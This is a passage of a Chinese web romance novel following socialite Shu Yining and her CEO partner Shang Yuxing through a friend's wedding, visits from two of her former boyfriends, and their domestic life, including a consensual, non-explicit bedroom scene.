阮明芜的婚礼仪式办得很梦幻,采用了她最爱的粉紫色为主色调。场地被棕榈叶、麦穗与紫藤绢花所围绕,在粉紫色的花海中,阮明芜含着眼泪对恋爱长跑七年的新郎说出了那句“我愿意”。 捧花被楚思然抢到了,她正处在一段暂时没有结婚打算的热恋中,但还是大大方方接受了四方祝福。 婚礼仪式后便是晚宴。 阮明芜在前拥后护下回到了化妆室,换下婚纱,换上了酒红色鳞羽曳尾敬酒服。 她坐在化妆台前,化妆师拆下巴洛克复古皇冠,正要准备改妆,镜子中出现了许夏天的脸。 阮明芜猜到她是为何而来,笑着对周围的婚礼管家、化妆师等人说:“这是我中学时代最好的朋友,看来,她有祝福想和我私下说。” 婚礼管家看了眼时间,刚想开口,对上阮明芜笑吟吟的眼神,到了口边的话顿时转了个弯:“亲爱的,最多十分钟,可以吗?” “用不着这么久,几句话的事情。”阮明芜笑着看向许夏天,问:“是吗,夏夏?” 其余人很快都出去了,化妆间里只剩下阮明芜与许夏天两个人。 许夏天歪了歪头,也不跟她打哑谜,开门见山:“高烨没来参加婚礼,没和商聿行碰上面,你很失望吧?” 阮明芜早知结果,回以淡淡一笑。 如果她没有猜错的话,这两个男人早已见面过了,至于时间……必然在她婚前派对之后,婚礼之前。 那么,答案就显而易见了—— 商聿行去听了高烨的报告。 所以她不但不失望,反而从高烨的借故缺席中,窥见了自己想要的结果。 许夏天:“你笑什么?” 阮明芜不介意告诉她:“昨晚他还在以宁面前散发魅力吧?今天就知难而退,不辞而别。你说,这短短二十几个小时里,发生过什么事?” 许夏天恍然,“晓晓车上听到的事情,果然是你有意透露?” 所以消息就又通过在场的某个人,传到了商聿行耳中。这么一说,难怪商聿行突然来了深圳。 整件事情也就通了。 许夏天微微蹙眉,说:“你到底为什么要这么做?不怕得罪商聿行?” 怎么看都是损人不利己的行为,甚至,会给她自己留下麻烦。 阮明芜笑笑。 许夏天只猜对了一半,但她没有必要纠正许夏天的猜测。 阮明芜摘下珍珠项链放入首饰盒中,提着裙摆缓缓起身,走到许夏天眼前。她妆容精致的脸上洋溢着笑容,明艳动人:“我痛快呀。我让高烨知难而退,难道不算帮以宁报仇?” 许夏天没留情面,毫不客气地回道:“你是为以宁报仇,还是为你自己,你心里最清楚。” 阮明芜一点没生气,一边整理裙摆,一边嗔道:“楚楚,我们才是从小一起长大的,你怎么光站别人那儿去了?” 许夏天漠然:“不敢和阮大小姐攀交情。” “我知道你怪我当初疏远了你,可是夏夏……” 阮明芜话锋一转,伸手想要去挽许夏天的手臂。 许夏天下意识躲开了。 阮明芜垂眸看着空荡荡的手,脸上依旧带着笑,说:“明明是你先亲近了以宁,把我放到了后一位的位置上。” 年少时候对于友情的占有欲,从不比爱情少。 个中滋味,难以言说。 阮明芜温温柔柔地笑着,继续说:“我原先把你当做最好的朋友,没有之一。但你最好的朋友变成了舒以宁,那你凭什么要求我在你离开秦家后,还和你亲亲热热呢?不是吗?” 许夏天闭上嘴巴,别开眼去。 人与人之间的感情就是这么奇怪,不讲究个先来后到。而友情又不像爱情那般受了外界束缚或是道德规训,不需要一对一,更没有亲疏变化之讲。 她与舒以宁其实也不是百分百的灵魂契合,甚至爱好、人生观、世界观上差异巨大,但恰好不偏不倚就是对上了彼此的胃口。 在此之前,许夏天也一直以为自己与阮明芜是随着年龄的增长,感情自然而然地淡了下去。所以后来她母亲与秦延昭的父亲离婚,她在圈子里受到了一定程度上的排挤时,她心里边其实也没怎么怪过在那个时间点明显与她拉开距离、变得疏远的阮明芜。 还好还有以宁。 做着她永远的好朋友。 也还有楚楚,和王樾。 阮明芜轻轻吐出一口气,直言不讳:“有的时候,我真的很羡慕舒以宁。” 她笑意连连看着许夏天,似真似假地埋怨:“连你这样没心没肺的人,也会为了她来跟我赤头白脸。” 许夏天没了话讲,哽着一口气不上不下,腰板都有些站不直。 她何尝不知道阮明芜是聪明地抛出了友情这个话题,继而令她无法深究高烨这件事。只是,于情于理,她确实都无法再为此事步步紧逼。 阮明芜看出她眸色中的冷淡与决然,知道以后恐怕就只剩下表面的客气维系了。她心中远没有自己想象得那么痛快,不管是在高烨的事上,还是此刻在许夏天身上。 许夏天今天扎的是一个简单的丸子头,鬓边一缕碎发闲散地垂着,呈现出一个好看的弧状。阮明芜想抬手替她整理碎发,但终究忍住了心里这个不合时宜的想法。 今天,她们算是撕破了脸面,以后恐怕连普通朋友都做不了了。 因为舒以宁。 为了舒以宁。 而作为关键点的舒以宁,可能这辈子都不会知道在她的婚礼上,在这间化妆间里,她曾经最好的朋友,为了她舒以宁,对她说出了多伤人心的话。 许夏天不想和她说话了,转过身,一言不发地往外走。 “还有——” 阮明芜故意停顿了一下,事已至此,她自然怎么痛快怎么来。 许夏天停下脚步,听她讲。 阮明芜笑意盈盈:“恐怕以宁都没看出来,你心里早就有了喜欢的人吧?” ** 阮明芜婚礼后第二天,舒以宁就随商聿行回了H市。他工作繁忙,抽不开身,一回去就又是满满当当的会议安排。 等到新的一周暂时空闲一些,商聿行就带着舒以宁到商盛科技视察。 舒以宁现在也算有个项目跟着商盛科技这边,但还是头一次来科技园。 陈印嘉作为子公司CEO,每周都要到商盛总部向商聿行汇报,舒以宁见过他几次,也说过几次话。 但蒋旬她还是第一次见,早听项目组里说,他是位非常厉害的技术专家。 这次,蒋旬向商聿行汇报了研究院近期取得的重大成果。 舒以宁坐在下面看着上面的模型,不由感叹科技的力量已经发展得越来越强大了。 会议室里都是商盛的人,没有外人,蒋旬提到超互联新算力经济模型时,自然而然说起:“潇潇目前正跟着做这个方向的研究。” 商聿行略一颔首,没有表态。 蒋旬便继续往下介绍项目进展。 回去的路上,商聿行特意提了一嘴:“蒋旬是掌潇的大师兄,他们同一个博导。” “啊,这样啊。”舒以宁想了想,评价道:“掌潇确实很厉害,逻辑清晰,情绪也特别稳定。” 商聿行轻轻“嗯”了一声,手指轻点平板,开始看工作文件。 舒以宁瞥了他一眼,见他忙于工作,也就不继续打扰了。回商盛总部还要一会儿车程,她看着窗外一棵棵后退的行道树,脑海中想起了高烨。 其实当年她和高烨分手的原因很简单。 他对她有十二个字的评价: “美则美矣,大脑空空,不及掌潇。” 这话被她听见了,那忍,自然是不可能忍得下去了。 不过虽说如此,但舒以宁自始至终都没有对掌潇产生过什么心理上的敌意,毕竟不可否认,掌潇当真是一个智商高、脾气也很好的人。 私心里,她认为高烨这样被她沾染过的人,配不上人掌潇。 旁边的商聿行还在看文件。 舒以宁想了想,决定还是打扰他:“商聿行,我美不美?” 商聿行没抬头,长指划着ipad屏幕,淡淡回应:“嗯,美。” “那我脑袋空不空?”舒以宁追问。 男人漫不经心:“嗯,空。” 舒以宁:“??” 去死吧,狗东西。 天气渐寒,楼顶的恒温泳池开启了加热模式。尽管如此,舒以宁依旧没有冬泳的习惯。进入冬季,她目前的运动就只剩下了与商聿行的双人运动。 所有人的生活都在有条不紊地往前走。 楚思然与男友感情稳定,一起去了北欧旅行。 王樾依旧被他哥逼着相亲,但也依旧还没有实现他给女人当狗的梦想。 邢南分手后暂时没有开启新的恋情,他将其美其名曰“享受自由的单身时光”。 至于许夏天的感情经历,那就更是如以往般一片空白。 在一片祥和中,舒住召开年底董事会,舒以宁专程请了半天的假。 而在她不在的时候,商盛五十九楼迎来了一位不速之客。 周嘉皓上半身穿着黑色潮牌带帽卫衣,下半身穿了条军绿色工装裤,脚上一双运动鞋。 发型也吹得很蓬松,微分碎盖,整个造型都相当清爽干净。 Karina看着江路南将他请进了总裁办。 江路南一出来,Karina忙不迭凑上去好奇:“刚刚进去的那个帅比是谁?” 江路南看了她一眼。 Karina心领神会,乌眸往下一撇,默默闭上了嘴巴。 明显就不是她该过问的了。 好的吧,谁让她只是个做边角料的小助理呢。 江路南拿她没办法,轻声道:“舒小姐EX。” Karina立马抬起头,双眸亮澄澄盯着江路南。 江路南有些无语,显然不可能与她说更多了,提醒道:“你适可而止。” ** 休息区的茶几上摆着一本精致精美的相册,封面是舒以宁靠在热气球上回眸浅笑的照片。 都说镜头是有感情的,相爱的人拍摄下的照片,总带着旁人一眼就能辨认的情感。 因此,当周嘉皓从宽大的卫衣口袋里掏出这本相册的时候,商聿行只觉得碍眼。 他没有翻看,淡淡道:“你只有十分钟时间,有话直说,我不喜欢打哑谜。” 周嘉皓笑了笑,说:“行哥,这本相册送给您,是我和以宁在一起的时候拍的照片。相册里只有以宁,没有我,我想您虽然没有参与以宁过去的人生,但应该也不介意从照片中对她的青春了解一二吧?” 眼前的男人眉眼冷峻,身上自带极强的压迫感,与那股子矜贵不可方物的气质交缠在一起,气场显得格外足。 但周嘉皓唇角含笑,仿若未觉,丝毫不惧。 商聿行抬腕看了眼百达翡丽,面无表情道:“你还有七分钟。” 周嘉皓知道商聿行今天既然愿意见他,无非是因为他与舒以宁有过一段过去。事实上,他与舒以宁早就断得干干净净,这点任谁都看得出来。 ——但商聿行还是见了他,那么说明,舒以宁这三个字在商聿行心里终究有几分重量。 周嘉皓见对方不接他的话,干脆也不绕弯子了,换了个称呼笑道:“商总,我是来求你的。” 商聿行轻启薄唇:“如果你是为了公司而来,现在就可以走了。我没有那点闲工夫对周氏下手。” 他绝口不提舒以宁曾为他求情的事。 然而,出乎商聿行意料的是,周嘉皓是为舒以宁来求他。 周嘉皓郑重道:“我想求你,未来有朝一日,她想离开的时候,你不要用你的权势逼迫她留在你身边。” 商聿行凝眸,看了他一会儿,冷笑:“你怎么就肯定她会想离开?” 周嘉皓自嘲地笑了笑,坦言:“我曾经也以为自己会是那个例外。” 他看着商聿行,语气里并没有炫耀的意思:“你就不好奇当初舒以宁为什么追了你没两天就又来追我了吗?” 商聿行自然不可能开口。 周嘉皓停顿了一会儿,笑道:“我问过她,她对我说——你不觉得你比商聿行有趣得多吗?你看,她兴许是因为你出众的样貌想要追求你,但下一秒,她就能因为我的有趣来追求我。没有人可以让她永远停下脚步,她本身就是个容易厌倦的人,对待感情就像一场游戏。” 周嘉皓顶着商聿行如有实质般的冷冽眸光,继续道:“像舒以宁这样的女人,她是自由的,她所有的美丽都来源于她的自由。” 商聿行站起身,伟岸挺拔的身型一下子投下大片阴影压迫而下。 他垂眼,睨着周嘉皓,仿佛在看一只随时可以捏死的蝼蚁:“你算个什么东西,敢来对我和我的人指手画脚?”—— 作者有话说:周嘉皓:惊不惊喜,意不意外!虽然高烨退场了,但我还在鸭!! 第44章 舒住的运营重新步入正轨,一切井然有序,短短几个月就恢复到了舒跃章还在时候的状态。董事会开了一个半小时,结束后,舒以宁与宋正阳坐一块儿喝下午茶。 宋正阳随口聊到上个月舒住参加的一个旅游节酒店展览会,顺便问起她还想不想再做策展。 舒以宁其实最近一直有在做策展方面的工作,坦言:“商盛科技在筹备重庆的城市展厅,预计三月份落地,我在跟他们的团队一起筹备。” 宋正阳敛眸抿了一口冰美式,掩去眼底一闪而过的诧异。 他没想到舒以宁竟然告诉了商聿行她做策展人的事。 他知道这项工作是舒以宁心中视为净土的存在,她一度连在她的父亲舒跃章那里都没有透露半分。 舒以宁自顾自地说着:“涉及VR和全息成像,是我没有做过的领域,一开始只是让我跟一下进度,现在稍微参与了一些。我本以为商业项目的展厅一般不会注重情感共鸣,也缺少艺术性,但有了进一步的接触才发现是我原先思想存在局限性。” 宋正阳安静地听完,搁下咖啡杯,抬眸笑道:“看来你和商聿行相处得不错。以宁,你没有受委屈,我就放心了。” 提起商聿行,舒以宁不由弯了弯唇角,说:“他很好,也很尊重我。” 这次不再是单纯地说好话让宋正阳放心,而是以陈述事实的方式。 商聿行绅士,体面,给予了她该有的尊重。 她承认,最开始她只是贪图他出众的相貌与身材。后来在与他的朝夕相处中,她越发觉得商聿行是一个很好的伴侣,气质卓然、情绪稳定,尊重人的时候能够给予足够的平等,不尊重人的不可描述情景下……也是A爆了。 舒以宁问宋正阳:“你呢,Raymond,有好消息了吗?” 宋正阳笑笑,双手手指交叉,缓缓道:“我当下最重要的还是事业,其他无暇考虑。” 听他这么说,舒以宁不自在地摸了摸鼻子:“Raymond,我知道你为舒住付出了很多,我们舒家真的很感谢你。如果没有你,我都不知道怎么办好。” 宋正阳笑道:“等价交换而已,老董事长资助我上学,又给了我冒头的机会。如果没有老董事长,也就没有我现在的人生。所以说以宁,你不用跟我道谢,太见外了。” “一码归一码,这是我们舒家欠你的。”舒以宁一早就有了这个想法,只是之前说出来的话连她自己都感觉像是在给人画大饼:“Raymond,舒住不仅仅是舒家的舒住,也会是你的舒住。下次董事会我会提出股权激励,另外,等事情尘埃落定以后,我会把我名下的股权份额无偿转让给你一部分。” 她比了个手势,表达会拿出2.5%的股权当作对他的感谢。 宋正阳微微往前倾身,伸过手来按下她的手势。 他一瞬不瞬地看着舒以宁,严肃道:“我相信在这个世界上,人与人之间都是相互的。没有毫无根据的好,也没有毫无缘由的恨。我不会拒绝该得的利益,但远远不到这个程度。” “那如果我请求你,以后都留在舒住,帮我守着舒住呢?”舒以宁深吸一口气,继续说:“你我都心知肚明,我父亲可能再也回不来了。” 半年的时间都已经过去了,舒跃章至今渺无音讯。又是在美国这种治安不比国内的地方,恐怕凶多吉少。 话说到了这个份头上,宋正阳正了正神色,说:“以宁,据我所知,你父亲没有立遗嘱。如果一年半以后没有律师带着遗嘱出现,根据法律规定,你父亲名下所有财产,楚桑桑都能分到。” 舒以宁眸光一顿。 宋正阳严肃道:“以宁,我对你有一个请求:我会劝楚桑桑放弃遗产,但我希望,你可以给她留一份生活保障。” ** 舒以宁请半天假出来开的会,结束后也就没有再回商盛,直接下了班。 兴许是下午和宋正阳聊到了父亲,舒以宁回到世纪城后,心情依旧十分down。她从商聿行占据一整面墙的酒柜中挑了瓶干邑白兰地,加了冰块,坐在吧台上兀自喝了两杯。 窗外不知何时下起了雪,洋洋洒洒,打到窗户上。 冬天日落时间早,天黑得也早,商聿行这间公寓地处高处,即便关了灯也看不清雪花的模样。 舒以宁往前走了几步,走到落地窗前,往下眺望。 城市明亮的灯光中,无数的雪花随着寒风翩翩起舞又缓缓落下,在空中自由地翻滚、跳跃。整座城市霓虹闪烁、流光溢彩,川流不息的车灯犹如流星一道道划过,漫天飞舞的雪就在这样的喧嚣与热闹中,独享一片宁静安详。 舒以宁站在落地窗前,单手拎着酒杯,脑海放空什么都没有去想。 不知看了多久,直到腿都站酸了。 她逐渐回过神,看了眼时间。 已经过了七点钟,商聿行还没有回来。 这并不是什么稀奇事,作为一家财年营收近万亿元集团的CEO,加班是家常便饭了。 舒以宁又喝了点,接着就沐浴洗漱、做护肤,然后登上Steam去星露谷种了会儿地。最后,她给能送花的NPC全都送了花,这才退出了游戏。 此时,壁钟的时针已经划过十一点的位置。 商聿行还是没有回来,舒以宁翻了下手机,也没看见他消息过来。 她想了想,决定微信上问他一声: [还在加班吗?] 舒以宁发完消息,料想他在忙的话肯定不会及时回,正打算找许夏天打个微信语音通话聊天,还没点进对话框呢,手机就振动了一下。 商聿行回了消息:[开了个会,就快下班了。] 舒以宁重新于是就在输入框中打字:[那我等你回来。] 在按下发送键之前,她又想了想,接着便一个字一个字地删除了。 她才不要说等他回来,搞得好像专门要等他回来干什么似的。 舒以宁最后发了句“好的吧”回复他。 商聿行没有再回。 又过了二十分钟,手机APP上推送电梯入户的消息。舒以宁不用点进去细看就知道,肯定是商聿行这狗男人回来了。 她掀开被子跳下床,开门走出主卧,迎面奔向刚进门的男人。 商聿行在玄关处换了鞋,一丝不苟的高定西服上残留着冬夜的冷冽风霜。 舒以宁走近一闻,就闻出来了。 “外面雪下得怎么样了?大吗?明天能不能堆雪人?”她主动上前,替他脱下西服外套。 从商盛的地下车库直达世纪城地下车库,全程没有露天的时候,照理说他身上不该染上风雪才是。既然衣服上有了风霜的冷意,那么说明他至少开车窗看了一阵的雪。 商聿行垂眸看着眼前女人吹弹可破的脸,淡淡道:“想堆雪人,明天带你去山上。” 舒以宁问:“明天你不用上班?明天上午不是还有陵水机场三期项目的会?” “嗯。七点出发,八点半赶回公司,你有一个小时的时间堆雪人。” 舒以宁:“……那我岂不是六点半就要起床?” 商聿行轻轻勾了下唇角,冷峻流畅的下颚骨微抬,莫名有种禁欲的感觉。 羊毛外套脱下后,他上半身就一件西装马甲包裹着白衬衫,肩宽腰窄,优越的身体比例被无限放大。 无疑,舒以宁很吃他这一套。 但她并不想六点半就起床:“我起不来,嗯……还是到了公司,你去开会,我和办公室其他同事找个空一块儿去公司楼下堆雪人好了。堆好了一定喊你下来看,我保证!” 商聿行没说同意,也没说不同意。 舒以宁试探着问:“你要是想堆的话,我也可以等你?” 男人依旧没说话,长指扯松领带上的温莎结,黑眸意味深长地睇着她。 舒以宁会意,将手中的西服外套放到一旁的沙发上,走回他面前,伸手给他解领带。 她刚解开领带,男人蓦地伸出手,长指勾住她手中的领带,轻轻一扯,低着嗓音命令道:“放开。” “嗯?”舒以宁不知道他是不是又想玩什么花样,不由昂起头看着他的黑眸。 商聿行唇角勾着似笑非笑的弧度,指骨分明的长指缠绕着藏青色领带,就这么幽幽地睇着她。 舒以宁觉察到危险,条件反射般后退了半步。 下一秒,领带蒙住了她明亮水润的双眸。 舒以宁一愣,耳边传来男人低沉磁性的轻笑:“反抗会被镇压,想试试么?” 失去了视力的这一刹那,其余感观顿时变得无比清晰。 舒以宁耳尖一颤,刚想要去摘眼睛上那条领带的手顿时重新落了回去。 商聿行不紧不慢地在她脑后打了个结。 接着,舒以宁的双手被拉到了身后。 他将她的双腕合到一起用左手大掌扼住,另一只手绕着她鬓边碎发把玩,嗓音幽然,说起下流的话来有股禁欲、勾人的诱惑感:“舒小姐,现在求我,我可以考虑网开一面。” 舒以宁咽了咽口水,她自然知道这个时候得说点什么来增加情.趣:“你休想,我舒以宁是不会向任何人屈服的。” 脖颈肌肤上传来男人温热的吐息,酥酥麻麻,令人生理性战栗。 “很好,待会儿求饶可就不管用了。” 舒以宁没想到今晚他会突然来这么带感的一招,她想了想,决定说出那句致命台词:“就这?” 第45章 一夜北风紧。 舒以宁第二天请了假,窝在被窝里休养生息。 许夏天提着许母炖了五个小时的麦冬石斛老鸭汤来世纪城看她,“我妈说了,这道汤很补的,清热降燥,适合冬天老待在空调房的年轻人喝。” 舒以宁靠在客厅沙发上喝汤,十分敏锐地抓住了其中的“清热降燥”四个字,当即嘱咐恰好端果盘出来的阿姨:“给商聿行留点,放在保温杯里等他回来喝。” 许夏天的双眸瞬间弯成月牙形状,不怀好意地盯着舒以宁。 舒以宁清了清嗓子,高贵冷艳道:“看什么看,吃块西瓜堵住你的小嘴巴。” 阿姨当真拿保温杯装了点老鸭汤,然后笑着开口:“我在这你们也不自在,舒小姐,我先下楼去做午饭,有事按ipad上的铃喊我就可以了。” 舒以宁笑着回复:“好,谢谢阿姨。” 许夏天也跟着甜甜道:“谢谢阿姨。” 阿姨一走,许夏天立马收了笑容,没了顾忌。她顺手抡了个抱枕砸到舒以宁腿上,紧接着整个人扑过去压着她逼问:“快说,昨晚他是怎么把你酱酱酿酿得喊爸爸的!” 舒以宁扑打她:“你这是污蔑,人家才不会跟你这个小学生似的喜欢逢人就要做人爸爸。” 许夏天爬到一旁,叉腰瞪着她:“你现在的小嘴巴倒是很硬。” 舒以宁坐正,一本正经道:“我们是玩了点儿花样,嗯……很带感,我只能这么说。” “看出来了。”许夏天指指她,“喏,锁骨上草莓印都还没消。” 舒以宁:“……” 默默把家居服的领子往上理了理。 室内有恒温恒湿系统,因此,她穿得比较轻薄,刚刚一闹腾就被许夏天弄了个衣衫不整,这才露出了领子下面的肌肤。 许夏天开始搬出她那套歪理:“根据二次元定律,商聿行这种表面正经的人,背地里最会玩儿了。那句话怎么说得来着……禁欲禁欲,越禁越欲。” 舒以宁靠在沙发上,慵懒地打了个哈欠,“按你这么说,他背地里至少还有十个女朋友。” “要不是第一次……”许夏天停顿了一下,虽然没说下去,但彼此都知道她指的是什么意思—— 舒以宁与商聿行的第一次。 许夏天继续往下说:“事情板上钉钉,不然我还真不信商聿行会没谈过。我们以前不还在背后蛐蛐他,是不是暗地里谈了哪个娱乐圈小白花来着?” 舒以宁:“我也没想到他会没经验,江路南有次和我说,他连恋爱都没有谈过。” 许夏天一脸嗑到了的表情:“这么纯情?单单拜倒在你石榴裙下了啊,瑞思拜的!” 虽然屋子里没有其他人,但她还是放低了声音猜测道:“那肯定是邢南私底下传授给他的,不然他这么正经一人,从哪儿学会这些?” 舒以宁有点不这么认为,她不觉得商聿行这样高高在上惯了的人会放下面子去找邢南探讨床上这么私密的内容,“你怎么知道他不是无师自通?” 不过,她估摸着……找邢南讨教肯定少不了。 许夏天意味深长地看着她:“以你这满意的程度来看,要无师自通可有点困难啊。” 舒以宁被她看得有些不好意思了,强硬着反驳:“谁说我满意了,我才不满意!” 许夏天立马从包包里掏出一枚随身携带的小方镜,举在舒以宁面前让她自个儿瞧。 镜子中的女人眉黛春山、秋水剪瞳,眼尾微微泛着绯色,自然上翘的樱唇犹如盛开的春花,眉目流转间生辉。 舒以宁伸手扶住小方镜,不由感叹:“我真好看啊,这张脸配一个商聿行真是可惜了,这不得配十个商聿行?” 许夏天鼓了鼓腮帮子,气道:“我真该把这句话录下来发给商聿行,让他逮捕你。” 舒以宁:“这个剧情不错,下次暗示他玩一下。” 许夏天利索地收起了小方镜,双眸亮澄澄盯着她:“那夏夏可以当观众吗?” 舒以宁给了她一个微笑:“有本事你就来看。” 许夏天当然没这个本事,她也就是嘴巴上占占便宜。 说话间,商聿行打电话来询问舒以宁的身体情况。 舒以宁:“夏夏给我送了鸡汤来,给你留了点,等你下班回来喝。” 许夏天在一旁壮着胆子插话:“清热降火的哦,行哥。” 电话中,男人低低笑了一声,磁性得仿佛刻意撩人心弦。 舒以宁匆匆道:“没什么其他事就先挂了,嗯……就这样吧。” 她挂了电话,对上许夏天笑眯眯的眼神。 许夏天直接开大:“干嘛挂这么快,怕我听见什么不该听见的调情吗?” “我得建议你哥在娱乐圈给你物色个一米八、八块腹肌的男爱豆,好好谈个恋爱,绝对不能浪费了你满身的才华。” “那不行,爱豆转型前谈恋爱就是塌房。再说了,我不能背叛我的二次元老公们。”许夏天掰着手指头数:“孙策,许墨,沈星回,齐司礼,秦彻……” “明神亚贵。”舒以宁给她做了补充。 许夏天:“哎呀呀,你太不正经了。” 舒以宁有些无言以对:“……怎么变成我不正经了?” 许夏天郑重其事地说:“你放心,我回去就把这部番的资源发给商聿行。” 舒以宁:“???” 谁要你发了啊啊啊啊啊! 下一秒,舒以宁就扑过去掐着许夏天脖子威胁:“许夏夏!你敢发,我就让你死无葬身之地!” 许夏天被逼着举起三根手指发誓,如果真敢给商聿行发,就会跟一个男爱豆产生剪不断理还乱的感情纠缠、过上天天被一堆粉丝日的悲惨生活作为报应。 舒以宁这才放过了她。 吃了会儿水果,许夏天步入正题:“下个月就过年了,你今年除夕哪里过?不如来我家吧,我妈可是巴不得你来给她当女儿。” 她知道商聿行还没有带舒以宁见过父母,否则的话,舒以宁绝对会找她商量对策。那么,除夕商聿行肯定是要回家过的,舒以宁总不可能回翠湖嘉苑和楚桑桑一起吃团圆饭。 至于奶奶那里……她大概也是不愿意过去打扰人家团圆饭的。 舒以宁感激于许夏天的好意,但还是说:“到时候看吧,我也还没有一个人过年的经历,挺想体验一把的。” 许夏天没有拆穿她,笑道:“大不了我陪我妈吃完年夜饭,再来陪你吃一顿!” 许夏天虽然没有谈过恋爱,但理论经验绝对不比舒以宁少。许夏天知道这里头有成年男女的感情拉扯,也就不再多劝—— 商聿行心里要是真有舒以宁,那么,除夕夜他必然不对留她孤身一人。他陪伴父母吃过年夜饭、甚至是跨过新年,然后再连夜赶来和她一起过,这并不是什么难事。 而一旦他跨出了这一步,也就意味着他二人之间的关系发生了实质性的改变,不再是单纯的一桩交易。 舒以宁也看出许夏天的猜测,与她相视一笑,谁都没有说破。 好友间的默契可能不是与生俱来,但早就已经在日常相处中融合得天衣无缝。 ** 今天商聿行回来得早,不到六点就已经到了家里。 舒以宁正躺在客厅沙发上看纪录片,口头上说着让他去厨房把老鸭汤喝了的话。 保温杯的保温效果很好,汤到现在都还是热乎着的。商聿行倒在汤碗中,拿了个勺子,走到客厅往她旁边一坐。 舒以宁感受到沙发往下陷,立马往远离他的那侧挪了挪。 耳边传来男人低沉的一声笑,他说:“怕什么?” 舒以宁转过脸去瞪他,反驳道:“谁怕你了,喝你的汤少说话,食不言寝不语。” 商聿行眼睑微微往下,勾唇看着她,“寝不语……昨晚你倒是没少……” “这是对你的要求,不是对我的。”舒以宁义正辞严。 商聿行不会在这方面与她多做争论,特别是在这种时候。电视里播放着陶寺遗址都邑,他坐在舒以宁身侧慢悠悠喝着汤。 过了一会儿,舒以宁自然而然地将腿压到了他的西裤上,没看他,命令道:“给我捏腿。” 商聿行笑了一声。 舒以宁惊觉,立马就要把腿伸回来。 然而男人的手肘已经压了下来,他笑道:“不是要捏腿?别乱动。” 舒以宁清了清嗓子,眼角余光扫到他附身往茶几上放下碗勺的身影。 她正了正神色,一脸庄严地将目光完全投放到纪录片上。 商聿行也没有弄她,如她要求的那样,尽心尽力地开始给她捏腿。 诚然,他的按摩手法并不专业,但舒以宁蓦然产生了一种岁月静好的错觉。 一直到晚上入睡,商聿行都在扮演一个温柔体贴的伴侣形象。 舒以宁知道他现在良好的表现九成九都是因为昨夜的欢愉,因此也不设防地告诉他:“我是很能接受一些助兴的小桥段小花样的,但你不能太过分了,太过分我就再也不和你一块儿睡觉了。”—— 作者有话说:商聿行:lp,其实我是怕你哪天就跑了[爆哭] 第46章 商聿行往她腰下垫了个枕头,抬眸淡笑:“过分?” 他自知身上有多大的劣根性,也不确定会不会如他父亲预料的那样终有一日束缚不住,“希望你不会有体会到我过分的时候,以宁。” 他的眸色很深,一瞬不瞬望着人的时候,仿佛加了控制似的,令人一时难以从一种禁锢的感觉中挣脱出来。 舒以宁不由抓紧了身下的床单。 商聿行觉察到她的情绪变化,敛眸笑了笑,淡声道:“你不过分,我就不会过分。” 他躺了回去,没有做下一步的动作。 舒以宁躺了会儿才确定危机解除,她立马将腰下面的枕头拖出来丢下了床,趁他反悔前躺好闭上眼睛:“睡了,今晚罢工,我明天一定要去上班的。” 须臾,商聿行轻启薄唇:“嗯,总裁办后面的卧室还没有机会带你体验。你不是很早就想去试试?” 舒以宁无与伦比地震惊:“……你是人吗?” 商聿行波澜不惊:“可能不是。” 闻言,舒以宁忍不住踹了他一脚。 接下来的事情就变得不受她控制了,好在程度尚可,终究没让她吃多少苦头。 事罢,舒以宁靠在他的胸膛上,半梦半醒间朦胧道:“我白天还和夏夏聊起你了,你说你不会是真找邢南学了花样吧?” 商聿行轻轻一笑,唇瓣贴着她的长发吻了一会儿,方道:“我会的,比他多得多。” 舒以宁已经进入了梦乡,细小的呼吸声平稳而绵长。 黑暗无边的夜色中,商聿行却迟迟无法入睡。 没有人比他更清楚,他与怀里这个女人是怎样一段畸形的关系。 她贪恋他的□□与容貌,就像她曾经贪恋过许许多多的其他男人那般。 兴许不断有人认为自己会是那个例外,最终却不得不认清现实。 新的一周,商聿行已经排满了行程。 周六,他受邀参加粤港澳大湾区经济高质量发展峰会,舒以宁陪他飞深圳。 峰会后的晚宴上,商人们推杯换盏,打探商盛对粤火游戏的收购。这起收购案历经三百个日夜,如今已然接近尾声。商盛计划通过对粤火游戏的收购,补齐目前在ACG领域的空白。对于行业是否会迎来大洗牌,众人拭目以待。 阮明芜夫妇也在,觥筹交错间,有人打趣他们小两口到哪儿都黏着。 阮明芜粲然而笑,意味深长地看了舒以宁与商聿行一眼,半开玩笑道:“要说形影不离,哪比得上商总和以宁?” 商聿行淡淡一笑:“阮总说笑了。” 阮明芜当着众人的面,亲热地问起舒以宁:“以宁,你们什么时候回H市?不着急走的话挑个你们方便的时间我们一块儿吃个饭?我最近新学了一道昆仑鲍甫,你来帮我尝尝看。” 舒以宁明白她需要这个场面,于是当着众人面笑着应道:“那我可要看看你这双十指不沾阳春水的大小姐手能复刻出什么样的美味来。” 阮明芜身侧的男人话不多,大部分时候都是微笑着聆听妻子与他人的交际对话,但需要他应酬的时候,他也都能及时站出来。 今日的社交场合对于正处于创业期的阮明芜夫妇来说很重要,几句闲谈后,他们就举杯告别,用一句饱含歉意的“失陪”结束了这边的社交,转而往港商那边开始下一轮的social。 商聿行照例被簇拥着敬着酒,直到一道爽朗的笑声自一旁传来过来:“商生,甘耐唔见你。” 众人认出来人是港商中的知名实业家、商会副主席李震山,忙给他让出一条道来。 舒以宁举着酒杯,脸上挂着端庄得体的微笑,准备好了随时与商聿行共同敬酒,然而下一瞬她脸上的笑容蓦地僵住了。 她看到了莫谦旬,他西装革履地跟在李震山身侧,温柔带笑地看着她。 ——她的前任,她祖母再婚后的非亲生却胜过亲生的孙子,莫谦旬。 李震山向商聿行介绍莫谦旬:“细路仔,带出嚟见下世面。” 舒以宁这才隐隐记起,莫谦旬母家好像确实跟李家有着很近的亲戚关系。 李震山与商聿行聊了两句,就被邀请到了另一边。他上了年纪,某方面的地位卓然,又是在今日的粤港澳大湾区主场,自然一刻不得闲。 莫谦旬手中端着香槟杯,没有跟着离开。 舒以宁安静地站着。 她与莫谦旬三年没有见过面了,上一次见面还是她去香港探望祖母的时候不期然打了个照面。 “以宁。”莫谦旬率先朝她伸出手,温柔地笑道:“许久不见,近来可好?” 多不善言辞的人,在学术界混迹久了,也会说上几句场面话了。 舒以宁调整好状态,伸手与他轻轻一握,很快就放开,笑道:“确实好久不见了,我最近还不错,你呢?” 莫谦旬慢条斯理地答道:“我也还不错,工作后又重新读了博,不知你是否有听说。” 舒以宁与他碰杯,笑着吹捧了一句“年少有为”。 他笑着说不敢,然后看着她的眼睛,颇为认真地问:“上回过年都没见到你,今年呢,来香港一起过除夕吗?” 舒以宁心里明白,想必他已经听闻了她家里发生的事,才会不知站在何种立场上,向她发出了邀请。 